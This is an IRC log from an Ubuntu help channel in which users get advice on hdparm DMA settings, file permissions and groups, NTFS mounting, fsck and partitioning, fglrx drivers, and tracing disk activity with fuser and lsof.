[02:19] <natroll> yeah
[02:19] <Angel_Dex> gnomefreak sorry
[02:19] <Angel_Dex> anywho Anyone know where i place hte duke3d.grp ?
[02:19] <Angel_Dex> ive put it in like every folder with no luck
[02:20] <vbhanu> Please take a look at this problem http://rafb.net/paste/results/yTXrq679.html
[02:21] <GnarusLeo> can you enable DMA on a cdrom?
[02:21] <natroll> vbhanu: wow, big problem
[02:21] <Frogzoo> GnarusLeo: indeed, yes
[02:22] <GnarusLeo> Frogzoo, i tried hdparm -d /dev/cdrom .. but it justs said it was off
[02:22] <Frogzoo> GnarusLeo: hdparm -d1 /dev/hdc etc
[02:22] <Angel_Dex> how do i get openduke running? TT_TT
[02:23] <GnarusLeo> Frogzoo, thanks alot
[02:23] <GnarusLeo> Frogzoo, are there any catches with using DMA?
[02:24] <vbhanu> natroll, indeed! but the songs that i want to extract are soo good that i really want to do it
[02:24] <Angel_Dex> hold a mic to your speaker ;P
[02:24] <Frogzoo> GnarusLeo: I put this in /etc/hdparm.conf - peruse & consider: command_line { hdparm -q -d1 -q -X udma2 -q -c3 /dev/hdc
[02:25] <natroll> vbhanu: you're talking about some specialized software there.  If you don't want to code a program yourself you'll have to one of the sound programs found in synaptic
[02:25] <GnarusLeo> Frogzoo, thanks for the info, but I have no clue what either of that means, som Im just gonna read the man :)
[02:25] <tellyons> Hi all... first time here
[02:25] <vbhanu> natroll, of course i do not want to code one!
[02:25] <vbhanu> natroll, that would be a very very big job
[02:25] <natroll> vbhanu: are you trying to extract sound from movies?
[02:26] <Angel_Dex> how do i get openduke running?
[02:26] <Frogzoo> GnarusLeo: -X sets the pio mode  -c3 sets 32bit mode
[02:26] <vbhanu> natroll, yes something like that, actually it is a serial which has some songs in between so i want to extract those songs
[02:26] <natroll> Angel_Dex: pour gasoline under his butt and light a match?
[02:26] <natroll> vbhanu: serial?
[02:27] <vbhanu> natroll, thats what we call a TV series in india :)
[02:27] <natroll> vbhanu: ahhh
[02:27] <natroll> vbhanu: by movies i meant video files, sorry
[02:28] <GnarusLeo> Frogzoo, to make the burning prosess faster? Or the cdrom read?
[02:28] <gnomefreak> Angel_Dex: how did you isntall it?
[02:28] <vbhanu> nathanj, :)
[02:28] <gnomefreak> install even
[02:29] <natroll> vbhanu: open synaptic and on the bottom left click on the button that says 'Sections'
[02:29] <GnarusLeo> Anyone know how I can expand my desktop to a dual monitor on the left side?
[02:29] <natroll> vbhanu: the list that appears in the left windows should be the list of all the sections
[02:29] <GnarusLeo> using FGLRX
[02:29] <natroll> vbhanu: scroll down until you see Multimedia
[02:30] <natroll> vbhanu: those are the programs available, and it may take some looking
[02:30] <GnarusLeo> sorry, anyone know how i can EXTEND my desktop to a dual monitor on the left side? :) Using ati/fglrx?
[02:30] <vbhanu> natroll, excuse me for this but i do not use ubuntu, what i wanted to know was the name of the software, so could you please tell me the link of the synaptic?
[02:30] <natroll> GnarusLeo: i think that's not fully worked out yet
[02:31] <Angel_Dex> why does no one know how to run open duke! TT_TT!!
[02:31] <natroll> vbhanu: what version of linux are you using?  it's possible that I could point you in the right direction from there
[02:31] <vbhanu> natroll, gentoo
[02:31] <intelikey> Angel_Dex cause i don't play games ?
[02:31] <babo_> hi guys, I have a simple permissions question ... I'm trying to save to a folder using my bluefish app. Bluefish was started by X which is running under 'user' ... I've done a     chgrp folder user      and so added user to the folders group class ... but I still can't save it ... even though I've set permissions to 775  ... help ?
[02:31] <Server[Mute] > any one know where can i find kde3.5 for Ubuntu ?
[02:31] <babo_> I feel like just doing a 777
[02:31] <gnomefreak> Angel_Dex: you answer my question i might be able to help you
[02:31] <GnarusLeo> natroll, oh .. but when I try to clone the screen the resolution is to big (apperantly) for my screen number 2 .. so everythings to big and wont fit in the screen
[02:31] <Angel_Dex> vbhanu why dont you try getting a copy of media linux>? it has like every linux media programs installed then you can try finding what you need
[02:31] <gnomefreak> ubotu tell Server[Mute]  about easysource
[02:31] <natroll> vbhanu: ahhh, gentoo should have even more than ubuntu, do you have eix installed?
[02:32] <ndlovu> Frogzoo: My internet connection died a horrible death yesterday, but did you have any more thoughts about why I sometimes get excessive load average (hardware versus unfriendly process)?
[02:32] <GnarusLeo> natroll, though its a 32" LCD widescreen with 1300 resolution :)
[02:32] <vbhanu> natroll, no i never heard of eix
[02:32] <Angel_Dex> gnomefreak Many sorrys i installed it from the repos and it cant find the duke3d.grp i have it but idk where to put it
[02:32] <Server[Mute] > thank you freak
[02:32] <Server[Mute] > :-)
[02:32] <natroll> vbhanu: it indexes the portage tree for fast searching
[02:32] <dianewong> hello how can I have an user account locked so there's no password
[02:32] <gnomefreak> Angel_Dex: ok i saw that in my search let me get you the link
[02:32] <babo_> Anyone ?
[02:33] <vbhanu> natroll, ok i will install that
[02:33] <vbhanu> natroll, what do i do after that?
[02:33] <ndlovu> hdparm says Timing buffered disk reads:   38 MB in  3.05 seconds =  12.47 MB/sec - is this okay?
[02:33] <Frogzoo> ndlovu: well something is accessing /tmp lots, but in linux, I don't know how to track it down - in Solaris you can use iostat
[02:33] <_jason> dianewong: sudo passwd -l username
[02:34] <LinuxJones> dianewong: you want to lock the account or have no password ?
[02:34] <natroll> GnarusLeo: all I meant is that fglrx doesn't have great support as it is, let alone dual-displays.  Tell me if you get it worked out though, I'd be interested to know.
[02:34] <natroll> vbhanu: 'eix-update'
[02:34] <intelikey> dianewong that used to be as simple as    useradd name      but someone thought that it had to be more automatic, and messed that up.   now you have to edit /etc/shadow  i guess.
[02:34] <dianewong> _jason: thankss
[02:34] <GnarusLeo> natroll, I will sit a couple of google hours :) Ill keep you informed
[02:34] <natroll> GnarusLeo: are you using dapper?
[02:34] <dianewong> LinuxJones: both
[02:34] <ndlovu> Frogzoo: it is very strange, system seems fine today.
[02:34] <_jason> dianewong: that locks your account so you can't login with it.  I think that is what you wanted
[02:34] <vbhanu> natroll, i will get back
[02:35] <natroll> vbhanu: i'll be looking for software for you
[02:35] <GnarusLeo> natroll, breezy
[02:35] <Frogzoo> ndlovu: might want to take a look at your crontab & anacron & see what they might have kicked off at that time yesterday
[02:35] <Frogzoo> ndlovu: eg. do you run tripwire?
[02:35] <LinuxJones> dianewong: locking it disables the account so nobody can login
[02:35] <natroll> GnarusLeo: ok, just was wondering.  Do you think maybe dapper has better support?
[02:35] <ndlovu> Frogzoo: I think so...
[02:35] <vbhanu> natroll, thanks a lot
[02:36] <GnarusLeo> natroll, yes I do .. I have read that the fglrx drivers are little more stable on dapper
[02:36] <Angel_Dex> ho hum
[02:36] <Frogzoo> ndlovu: well check crontab for when it runs but I'm pretty sure we have a winner
[02:36] <natroll> vbhanu: sure thing :)
[02:36] <dianewong> I wish that the user has no passwords at all and that he can' change his password
[02:36] <dianewong> can't
[02:36] <jd_> I have a problem
[02:37] <natroll> GnarusLeo: it might be worth a shot then, although reversing the upgrade isn't possible, so I'd exhaust all breezy resources you can find first
[02:37] <ndlovu> Frogzoo: is that sudo crontab -e?
[02:37] <intelikey> dianewong do you want that user to be able to login without any password ?
[02:37] <ndlovu> Frogzoo: it's not in /etc/crontab...
[02:37] <dianewong> yes intelikey
[02:38] <Frogzoo> ndlovu: /etc/cron.daily/tripwire
[02:38] <jd_> anyone in here know how to open the root file system to upgrade codecs and styff because my breezy badgher edition doesnt have root
[02:38] <_jason> jd_: what codecs?
[02:38] <intelikey> sudo passwd -d <user's name>        dianewong  but locking it so that they cant change it is a little more difficult
[02:39] <jd_> So i can play movies on my ubuntu
[02:39] <redguy|work> jd_: the root filesystem has (almost) nothing to do with the root account
[02:39] <jd_> ok whats the root account then
[02:39] <redguy|work> !tell jd_ about w32codecs
[02:39] <vbhanu> natroll, ok now i have eix and am also done with the update...
[02:39] <_jason> ubotu: tell jd_ about sudo
[02:39] <ndlovu> Frogzoo: cron.daily: 0anacron  chkrootkit  logrotate netkit-inetd  standard
[02:39] <ndlovu> apt  find.notslocate  man-db samba sysklogd
[02:39] <ndlovu> bsdmainutils  find.notslocate.dpkg-new  mysql-server  slocate tetex-bin
[02:39] <redguy|work> !tell jd_ about restricted
[02:39] <ndlovu> Frogzoo: chkrootkit perhaps?
[02:40] <gnomefreak> Angel_Dex: that page wasnt it if you look in the README or INSTALL files it shouldtell you where to put it and how to run it nothing in google noithing in wiki
[02:40] <LazyAngel> i'm partitioning my harddisk, and is wondering how much i should set to the system and how much to the data & home.... would 30 GB to the system be enough?
[02:40] <redguy|work> jd_: read the links ubotu sent you
[02:40] <natroll> vbhanu: now you should be able to do something like 'eix --search video | less'
[02:40] <Angel_Dex> gnomefreak nothing in the readmes ither
[02:40] <jd_> gotcha
[02:40] <Angel_Dex> kk
[02:40] <Frogzoo> ndlovu: was the time for you yesterday around 6:25 ?
[02:41] <ndlovu> Frogzoo: no, would have been around 15:25
[02:41] <intelikey> dianewong would it be acceptable to make all user passwords only changable via root ?
[02:41] <redguy|work> intelikey: did Frogzoo's advice hel with libproc ?
[02:42] <redguy|work> help
[02:42] <dianewong> intelikey: how can I do it ?
[02:42] <intelikey> redguy|work i got ya pm but it's not a permissions issue.
[02:42] <intelikey> dianewong you could remove the suid bit on passwd  but that means only root can change any passwd.
[02:43] <babo_> How do I add two groups to one folder's group class ?
[02:43] <zF> Hi guys
[02:43] <dianewong> thanks
[02:43] <zF> I have a huge problem
[02:43] <zF> I just installed ubuntu linux after using partition magic
[02:44] <zF> and when I tried to use Windows after the install... It instantly blue screen'd of death'd before entering the OS
[02:44] <redguy|work> babo_: you might create anoter group and make memebers of the two groups in question members of the new group. if that doesn't suit you, you would have to implement ACL's
[02:44] <zF> right before I installed ubuntu it said "Failed to start Operating System" or something along those lines
[02:44] <Toma-> zF: what was on the blue screen of deth?
[02:44] <Frogzoo> ndlovu: check /etc/cron.monthly which kicks off at 15:00
[02:44] <mustard5> zF, was windows working just after using Partition Magic?
[02:44] <zF> mustard5, no
[02:44] <zF> that's when it said the "Failed to start OS"
[02:44] <redguy|work> babo_: I ca't help you with acls, since I have never done it myself. google is your friend :-)
[02:44] <intelikey> testdisk ?
[02:45] <zF> but I just figured that was because I chose immediately
[02:45] <redguy|work> intelikey: well, did you manage with it oterwise?
[02:45] <babo_> redguy|work: thanks ... so I can addgroup ... and then addgroup to a group ?
[02:45] <Angel_Dex> qb
[02:45] <Angel_Dex> *wb
[02:45] <redguy|work> babo_: no, you would have to addgroup for every user that is a member of either of the groups
[02:45] <Frogzoo> ndlovu: no - that's wrong
[02:45] <gnomefreak> ty
[02:45] <intelikey> redguy|work yeah it works fine if i call it from mc  but from shell, nada
[02:46] <gnomefreak> Angel_Dex: have you tried running it from cli?
[02:46] <ndlovu> Frogzoo: it's more frequent than monthly...
[02:46] <Angel_Dex> gnomefreak yeah all it said was cannot find .grp
[02:46] <ndlovu> Frogzoo: it happens mostly on a daily basis
[02:46] <intelikey> redguy|work i'm a lot more concerned about who -a returning nothing than i am top not working.
[02:46] <mustard5> zF, so Partition Magic could have wrecked it first?
[02:46] <babo_> redguy|work: ... hmmm ... so I'd addgroup and then chgrp of every user ?
[02:46] <redguy|work> intelikey: This is wrong. Something is hosed badly :/
[02:46] <gnomefreak> Angel_Dex: try it without the .grp
[02:46] <Toma-> whats the darn variable to disable locking of the cdrom? i forgot :(
[02:46] <intelikey> tty1 [root#~]  who -a
[02:46] <intelikey> tty1 [root#~] 
[02:47] <gnomefreak> intelikey: try t outside of a root console
[02:47] <zF> mustard5, I don't know... I thought it said that because I chose imidate linux install after the changes and needed to install Ubuntu first
[02:47] <zF> then with Grub it'd work
[02:47] <Angel_Dex> gnomefreak i have>?
[02:47] <zF> mustard5, should I restart and look at the blue screen of death?
[02:47] <Toma-> nevermind! :)
[02:47] <mustard5> zF, someone did ask that..I wouldn't know how to interpret a BSOD message myself
[02:48] <intelikey> lol  yeah it will run for user but root gets.
[02:48] <intelikey> neuro|laptop: Symbol `Hertz' has different size in shared object, consider re-linking
[02:48] <intelikey> neuro|laptop: relocation error: top: undefined symbol: xmalloc
[02:48] <redguy|work> babo_: let's say you have users bob and alice who are members of users and amins groups, respectively
[02:48] <gnomefreak> Angel_Dex: i wish i can be more help
[02:48] <neuro|laptop> :P
[02:48] <Angel_Dex> gnomefreak, tu:~$ openduke
[02:48] <Angel_Dex> Could not find DUKE3D.GRP
[02:48] <jd_> ok guys here you go what if you have no terminal
[02:48] <mustard5> zF, have you tried mounting the windows partition from linux?
[02:48] <intelikey> but what good is top if only user can use it.
[02:48] <neuro|laptop> intelikey: you weren't talking to me, were you? :)
[02:48] <gnomefreak> intelikey: try runing it as sudo (more than likey it needs sudo to run
[02:48] <mustard5> zF, maybe you can rescue data from it?
[02:48] <intelikey> yeah
[02:48] <zF> mustard5, no
[02:48] <redguy|work> babo_: you want to have a directory with group ownership so that both users will be members of the group tht owns tha dir
[02:48] <Frogzoo> ndlovu: when you installed smartutils, did you configure it to run daily?
[02:48] <zF> I don't care about rescueing data
[02:48] <gnomefreak> who shouldnt need permissions at all tho
[02:49] <mustard5> zF, ah ok
[02:49] <zF> I just need it to work. :(
[02:49] <intelikey> gnomefreak no sudo here.
[02:49] <mustard5> zF, k
[02:49] <babo_> ok
[02:49] <zF> /dev/hda1 on /media/hda1 type ntfs (rw)
[02:49] <zF> looks like it'd mounted
[02:49] <redguy|work> babo_: you would have to create a third group, let's say adusers. you then can change the dir ownership with chown so that the group adusers owns the dir
[02:49] <natroll> vbhanu: this one might be in the realm you're looking for: Jahshaka
[02:50] <nhaines> Oops, auto join.  I'm looking for #ubuntu-meeting.  Take care, all.  :)
[02:50] <intelikey> gnomefreak  you want me to install sudo and set it up just to test top.   which runs for user or in mc, but not for root ?
[02:50] <azadder> where can i get a .wmv plugin for totem?
[02:50] <gnomefreak> intelikey: it should run without permissions
[02:50] <Misterii> is there a list of applications I can use under Gfce4 environment or is it all the same?
[02:50] <GnarusLeo> Hi! I have a Maxtor 120gb external drive ... its connected through firewire ... when first using ubuntu I had writing privs ... no I get error saying that the filesystem is read only .. how can I have write permissions again?
[02:50] <redguy|work> babo_: then you would have to add users bob and alice to the group adusers. The changes will take effect as soon as users bob and alice log in after the change
[02:50] <intelikey> gnomefreak it does.    it doesn't run for root
[02:51] <natroll> vbhanu: another one might be kino
[02:51] <redguy|work> !tell azadder about w32codecs
[02:51] <intelikey> gnomefreak what good is top if it only runs non-root ?
[02:51] <WiFiTux> Anyone, please. Do you know which file blocks the access to import DISPLAYS, xhost + is not enough and I recall there was a file to edit...
[02:51] <gnomefreak> intelikey: mine works for sudo -i term and normal user
[02:51] <azadder> & thank you
[02:51] <redguy|work> babo_: dd I clear it out for you a bit?
[02:52] <babo_> redguy|work: ... excellent thanks redguy ... so without acl then, a folder/file can only have one group ??
[02:52] <AndiM> GnarusLeo: that sounds a lot like you have an un-fscked file system with errors!! Check dmesg for details and then run fsck.ext3 or similar on this partition!
[02:52] <servers> I mounted my NTFS partition but when I want to go on it it says no permissions
[02:52] <gnomefreak> servers: sudo
[02:52] <redguy|work> babo_: yup
[02:52] <_jason> servers: you need to mount with the right options
[02:52] <natroll> vbhanu: PROTUX
[02:52] <_jason> ubotu: tell servers about ntfs
[02:52] <babo_> redguy|work: ... cool
[02:52] <GnarusLeo> AndiM, hi again .. you say what do I do? :)
[02:52] <_jason> servers: check the table towards the middle of the wiki page that ubotu gave you
[02:52] <intelikey> gnomefreak redguy|work either of you install via the server option on the install cd by any chance ?
[02:53] <Terradoss> Good morning ladies and gentlemen :)
[02:53] <AndiM> GnarusLeo: run fsck.ext3 /dev/hdXY on the *unmounted* partition.
[02:53] <gnomefreak> intelikey: not me
[02:53] <GnarusLeo> AndiM, willd o!
[02:53] <mustard5> greetings Terradoss
[02:53] <GnarusLeo> do
[02:53] <intelikey> gnomefreak does your who work ?
[02:53] <Misterii> any ladies here 8-O
[02:53] <gnomefreak> intelikey: yes
[02:53] <Frogzoo> ndlovu: grep hd /etc/smartd.conf
[02:54] <kwyjibo> hello
[02:54] <natroll> vbhanu: Krut Computer Recorder
[02:54] <intelikey> k i think it is server-install specific bug there.
[02:54] <kwyjibo> what's a good multi-protocol command line IM (please not centericq)?
[02:54] <servers> _jason do I have 2 install a script 2 mount it
[02:54] <Frogzoo> ndlovu: grep hd /etc/smartd.conf
[02:54] <GnarusLeo> AndiM, Couldn't find ext2 superblock, trying backup blocks...
[02:54] <GnarusLeo> fsck.ext3: Bad magic number in super-block while trying to open /dev/sda
[02:54] <natroll> vbhanu: HyperEngine-AV
[02:54] <_jason> servers: you don't have to, you can just do it manually by following th instructions below that script part
[02:54] <servers> I can access the partition  with terminal as root but I cant access is on the graphic shell
[02:54] <zF> !855resolution
[02:54] <ubotu> zF: Wish I knew. Try searching at http://ubuntu.cc.com.au/
[02:54] <Frogzoo> GnarusLeo: you don't want /dev/sda - you want /dev/sda1 etc
[02:54] <AndiM> GnarusLeo: I said "partition", *not* "drive" ;)
[02:54] <natroll> vbhanu: that should be more than enough
[02:55] <zF> !resolution
[02:55] <ubotu> hmm... resolution is at https://wiki.ubuntu.com/FixVideoResolutionHowto
[02:55] <ndlovu_> Frogzoo: /dev/hda -a -o on -S on -s (S/../.././12|L/../../2/14)
[02:55] <GnarusLeo> AndiM, oh, of course :) sorry, my bad :P
[02:55] <_jason> servers: umask=0222 works well for me
[02:55] <Terradoss> Is anyone able to tell me how i might resolve a problem im having where the GRUB loader is not detecting my secondary operating system?
[02:55] <Frogzoo> ndlovu_: again, that's not it drat
[02:56] <tamer> Hi people!
[02:56] <kwyjibo> what's a good multi-protocol command line IM (please not centericq)?
[02:56] <Frogzoo> ndlovu_: are you running any net services? eg apache?
[02:56] <GnarusLeo> AndiM, yes,  found a bad block ... trying to repair it (though I had to use vfat) its an old win partition
 servers: umask=0222 works well for me <-- what do u mean I'm new 2 linux ;S
[02:56] <ndlovu_> Frogzoo: I am running a lamp platform - I use a wiki to organise my personal stuff
[02:56] <tamer> I can't configure my printer on ubuntu, how do I enable the web administration interface for ubuntu?
[02:57] <_jason> servers: how are you mounting the drive?  are you using fstab?
[02:57] <ndlovu_> Frogzoo: but it's only internal
[02:57] <Frogzoo> ndlovu_: have you considered this may be a usage spike?
[02:57] <intelikey> ndlovu_ default or server install ?
[02:57] <AndiM> GnarusLeo: huh? so it was a windows partition after all? then it's no use trying to run fsck.ext3 on it...
[02:57] <servers> _jason system-->administration-->disks
[02:57] <GnarusLeo> AndiM, no, I used fsck.vfat
[02:58] <ndlovu_> intelikey: default I think (sudo apt-get install mediawiki)
[02:58] <AndiM> GnarusLeo: hmm, right, your statement went into that direction.
[02:58] <intelikey> ndlovu_ k
[02:58] <_jason> servers: oh, well I don't know about changing permissions there.  Just follow the wiki on setting up fstab and let me know if you don't understand something
[02:58] <GnarusLeo> AndiM, maybe Ill just format it to ext3? How do I do that?
[02:58] <servers> kk thnx :>
[02:59] <vbhanu> natroll, gee thanks i was out for some time i will try them and get back!
[02:59] <Chousuke> GnarusLeo: mkfs.ext3 /partition
[02:59] <Chousuke> GnarusLeo: but beware: it destroys all data.
[02:59] <AndiM> GnarusLeo: and make sure to select the right partition!!
[02:59] <GnarusLeo> hehe, of course :)
[02:59] <Angel_Dex> gnomefreak, Hey what does this mean? You need the duke3d datafile from the official Duke3d game in order to play
[02:59] <Angel_Dex> openduke: 981125cb9237c19aa0237109958d2b50  duke3d.grp
[02:59] <ndlovu_> Frogzoo: could it be rsync? we have a backup system that polls all our laptops to take a backup (backuppc)... normally it's been pretty quick and painless though
[02:59] <Frogzoo> ndlovu_: there might be an easier way to fix this...
[02:59] <Frogzoo> ndlovu_: well if you've altered a lot of files....
[03:00] <gnomefreak> Angel_Dex: i thought you had the file?
[03:00] <ndlovu_> Frogzoo: any thoughts welcomed...
[03:00] <Terradoss> Is anyone able to tell me how i might resolve a problem im having where the GRUB loader is not detecting my secondary operating system?
[03:00] <Frogzoo> ndlovu_: have you considered running /tmp from tmpfs
[03:00] <Angel_Dex> gnomefreak I do thats from the readme what are the nums mean?
[03:00] <natroll> vbhanu: good luck, and just for future reference, I found most of those on www.sourceforge.net and you can also find lots on www.freshmeat.net
[03:00] <ndlovu_> Frogzoo: how would that work?
[03:00] <gnomefreak> i think thats the md5 for that file
[03:00] <kwyjibo> i don't think anyone sees my text
[03:00] <kwyjibo> teset
[03:00] <kwyjibo> test
[03:00] <kwyjibo> testes
[03:00] <natroll> i can see it kwyjibo
[03:00] <ndlovu_> Frogzoo: but it's sounding like a good idea
[03:01] <kwyjibo> testicles
[03:01] <truz24> How do you clear the text on the login screen?  I logged in, did some stuff, and logged out, and my work was still on the login screen above... How can i clear the screen without logging in ?
[03:01] <Frogzoo> ndlovu_: it's really cool - /tmp runs out of virtual memory, so won't hit disk unless you start swapping
[03:01] <kwyjibo> tsetse flies
[03:01] <natroll> truz24: run this when logging out: clear;logout
[03:01] <_jason> truz24: 'clear' moves it off the window
[03:01] <Angel_Dex> gnomefreak im never gonna get this running TT_TT
[03:01] <gnomefreak> kwyjibo: if your not having ubuntu related issues you need to go to a different chanell please
[03:01] <Frogzoo> ndlovu_: pls - total mem? total swap?
[03:01] <natroll> truz24: it will clear the screen and log you out at the same time
[03:01] <kwyjibo> i do have ubuntu issues
[03:01] <ndlovu_> Frogzoo: the problem is that I swap pretty quickly... (256 mem)
[03:02] <Frogzoo> ndlovu_: ah, k
[03:02] <gnomefreak> Angel_Dex: im not a gamer im sorry not much help
[03:02] <natroll> kwyjibo: we all have issues here, welcome to the club
[03:02] <pulver> is it just me or is gnome 2.14 faster.. feels very responsive :)
[03:02] <Angel_Dex> gnomefreak its ok
[03:02] <truz24> ah, I always typed "exit"
[03:02] <kwyjibo> i am running ubuntu and i'd like to know if there are any command-line multi-protocol instant messengers for ubuntu
[03:02] <ndlovu_> Frogzoo: swap 650
[03:02] <Angel_Dex> gnomefreak many thanks for the help
[03:02] <truz24> So "exit" isn't the right way to logout?
[03:02] <kwyjibo> other than centericq
[03:02] <kwyjibo> because centericq takes up the whole ssh session
[03:02] <natroll> truz24: well, not technically
[03:02] <gnomefreak> pulver: its a bit faster but please take dapper talk to #ubuntu+1
[03:02] <natroll> truz24: but it works
[03:02] <intelikey> what's the command to find what package a file belongs to ?
[03:02] <Frogzoo> ndlovu_: with mem so low, it's probly not the greatest idea after all
[03:03] <Frogzoo> ndlovu_: what time does the rsync kick off?
[03:03] <GnarusLeo> AndiM, but it will be perfectly safe to format the partition to ext3, and use vmware win on that partition through firewire?
[03:03] <babo_> my bash date function has the right time but my php date function doesn't ... why ??
[03:03] <ndlovu_> Frogzoo: I've been thinking that more memory would at least lessen the problem, but it's still strange that it started happening so suddenly...
[03:03] <natroll> truz24: if you were to start a new bash shell for some reason, however, it would only exit that shell, whereas logout completely logs you out, i'm fairly sure
[03:03] <ndlovu_> Frogzoo: it kicks off at 10:00
[03:03] <pulver> gnomefreak: ah ok thanks
[03:03] <AndiM> GnarusLeo: I'd think so.
[03:03] <Frogzoo> ndlovu_: so shouldn't be still active at 15:00
[03:03] <truz24> I just tried logout and it didn't clear the screen, but I can do clear; logout and obviously it clears it
[03:03] <ndlovu_> Frogzoo: but it is strange that I'm currently working from an Internet cafe and there's no problems
[03:04] <truz24> I guess that works for me. thanks
[03:04] <GnarusLeo> AndiM, prob more safe then using vfat :P Destroyed files one week after install
[03:04] <intelikey> what's the command to find what package a file belongs to ?
[03:04] <AndiM> GnarusLeo: heh.
[03:04] <Frogzoo> ndlovu_: when you're connected at work, is it always slow, or only around 15:00?
[03:04] <natroll> truz24: no problem
[03:04] <ndlovu_> Frogzoo: so it could be that there's something on our network confusing the hell out of my computer... or alternatively the fact that we've had extremely intermittent internet connections was too much...
[03:05] <intelikey> natroll starting a new bash doesn't exit the existing one it nests.
[03:05] <ndlovu_> Frogzoo: I haven't timed it, but it's mostly always slow
[03:05] <AndiM> GnarusLeo: ext3 is a *very* safe choice, since it's ext2 plus journalling, and there are tons of data rescue options for ext2. ReiserFS (and of course also XFS etc.) is less easy here...
[03:05] <ndlovu_> Frogzoo: the fact that it's not right now is actually surprising
[03:05] <truz24> I remember using redhat a while back and it would clear the login screen every x minutes...
[03:05] <Terradoss> Maybe a different problem then :P I have no idea how to have my ubuntu machine communicate with the rest of my network, can anyone perhaps point me in the direction of some documentation that might help?
[03:05] <Frogzoo> ndlovu_: no - something is using /tmp heavily - and it seems that that process only kicks off when you're in the office
[03:06] <natroll> intelikey: i know
[03:06] <natroll> intelikey: did i misspeak?  i probably did...and ended up sayin somethin dumb
[03:06] <GnarusLeo> AndiM, sounds great ... how do I delete the /dev/sda1, and format the whole drive to one partition with ext3?
[03:06] <graveson> trying to install the ATI driver provided by ubuntu (fglrx) but when i restart the xserver or reboot my system , i get a blank screen
[03:06] <natroll> and only like 12 hours to go
[03:06] <WiFiTux> Do you know which file blocks the access to import DISPLAYS, xhost + is not enough and I recall there was a file to edit...
[03:07] <ndlovu_> Frogzoo: I think that actually might be a red herring (but a tempting one) - I was working from a different Internet cafe the other day and it was again overloaded...
[03:07] <GnarusLeo> graveson, try dpbk -i reconfigure xorg-server
[03:07] <Frogzoo> ndlovu_: so another way to attack the problem might be - next time at work you experience the problem, run a packet sniffer (ethereal) to see what's on the wire that might be causing the problem
 truz24: if you were to start a new bash shell for some reason, however, it would only exit that shell, whereas logout completel logs you out, i'm fairly sure<--- looked like it to me.  but i didn't see what that was in ref to.
[03:07] <AndiM> GnarusLeo: you never ever want to use one partition per drive only - bad performance and higher wearout.
[03:07] <natroll> truz24: unless you start a new bash shell, clear;logout will log you out and clear the screen.  Really though you have to exit any bash shells you've started first
[03:07] <GnarusLeo> AndiM, then I wont .. what would be my best choise?
[03:07] <Frogzoo> ndlovu_: ok, well that scratches using a sniffer, as it's not traffic related
[03:07] <graveson> gnaruleo : is that different to dpkg-reconfigure xserverxorg
[03:08] <natroll> intelikey: he had been using exit instead of logout, but now i've discovered really doesn't matter, does it?
[03:08] <GnarusLeo> graveson, no, thats the one :)
[03:08] <ndlovu_> Frogzoo: I think trying to figure out what's using /tmp would be good...
[03:08] <GnarusLeo> graveson, wich box are you on?
[03:08] <intelikey> no it doesn't
[03:08] <natroll> intelikey: yeah
[03:08] <AndiM> GnarusLeo: better to use 2 to 3 partitions to limit sector seeks to the current partition only, that will prevent the head from having to cover the whole surface area...
[03:08] <natroll> truz24: clear;exit works just as well
[03:08] <Frogzoo> is there no way to find out which process is monopolising io ? any tools to help track this down?
[03:08] <truz24> cool
[03:08] <ndlovu_> Frogzoo: isn't there some app that identifies what's "holding" a partition before you unmount it? can't remember the command...
[03:08] <servers> thnx _jason I used the script 2 mount it worked good :>
[03:08] <Frogzoo> ndlovu_: fuser -c
[03:09] <truz24> I wonder what it would take to make ubuntu clear the screen every x minutes like redhat did?
[03:09] <GnarusLeo> AndiM, thanks for the input ... so I can have two ext3 parition, and one with fat (for windows connections) ... you have any idea how I will approach for this?
[03:09] <AndiM> ndlovu_: lsof, fuser
[03:09] <natroll> truz24: except that you get the extra line at the following login screen at the top that says: logout
[03:09] <truz24> I think it would be a nice security addition to ubuntu
[03:09] <natroll> truz24: add a cron job
[03:09] <mrglass> ok, i have a question. i like ubuntu, and ill probably end up with either ubuntu or kubuntu in the end, but what are some other begginer distributions i can try?
[03:09] <truz24> how do you do that across all of the terminal screens
[03:09] <graveson> gnarusleo : intel with ati radeon all in wonder pro .i followed the process on the ubuntu website but still no luck
[03:09] <Terradoss> Anyone tell me how i might configure the GRUB boot loader to detect my secondary operating system?
[03:09] <AndiM> GnarusLeo: run fdisk, then create one primary partition and an extended partition with two logical volumes inside.
[03:09] <ndlovu_> Frogzoo: so fuser -c /tmp when it's overloaded?
[03:09] <natroll> truz24: good wuestion, i'm already stumped :)
[03:09] <Frogzoo> mrglass: suse, redhat
[03:10] <GnarusLeo> AndiM, I will ... thanks again
[03:10] <AndiM> GnarusLeo: first partition is fastest...
[03:10] <mrglass> frg: thanks, lloking for more obscure ones
[03:10] <Frogzoo> ndlovu_: & work through all the processes - there'll be a lot of them
[03:10] <mrglass> frogzoo: thanks, lloking for more obscure ones
[03:10] <AndiM> GnarusLeo: (IOW, on a system HDD, put swap partition in front but also *between* two other heavily used partitions)
[03:10] <GnarusLeo> graveson, ok, you have a xlog failure?
[03:10] <Frogzoo> mrglass: the more obscure ones won't be nearly as newb friendly
[03:10] <truz24> btw, i did not get an additional line at the top of my login screen that said logout, just so you know.
[03:11] <mrglass> frogzoo: i have debian, suse, mandrake already on my list
[03:11] <graveson> gnarusleo: where would i find that log ?
[03:11] <truz24> I am working on a server install of ubuntu as well.
[03:11] <mrglass> forgzoo: doesnt need tobe really newb friendly
[03:11] <Frogzoo> mrglass: well then you're good to go :)
[03:11] <Frogzoo> brb
[03:11] <mrglass> frogzoo: ive just had enough with slackware
[03:11] <ndlovu_> Frogzoo: wow, that is a lot...
[03:11] <natroll> truz24: when you did clear;exit?
[03:12] <truz24> no, i did clear;logout
[03:12] <ndlovu_> AndiM: thanks for the lsof headsup
[03:12] <simon_> ltsp problem. get to gnome manager screen on client but keyboard dosen't work! mouse id fine
[03:12] <AndiM> truz24: I don't see why one would want to use ubuntu as a server; debian stable/testing is better here, but of course Ubuntu isn't much worse after all...
[03:12] <intelikey> anybody can remind me how to check the package that provides /dir/file   ?
[03:12] <natroll> truz24: you can use clear;exit too, the only difference is with clear;exit you get that line i was talkin about
[03:12] <truz24> I see
[03:13] <truz24> AndiM, ubuntu has worked fine for me, debian seems to have some small quirks that I do not like ( had to use debian stable on a remote co-loc server )
[03:13] <truz24> the server install of ubuntu is solid
[03:13] <AndiM> truz24: but OTOH don't put too much weight into my statements, it's mostly a matter of personal preference from the point of having chosen a relatively suitable distro.
[03:14] <intelikey> truz24 does your 'who' command work ?
[03:14] <GnarusLeo> graveson, when crashing, check your tty1 and give me the error
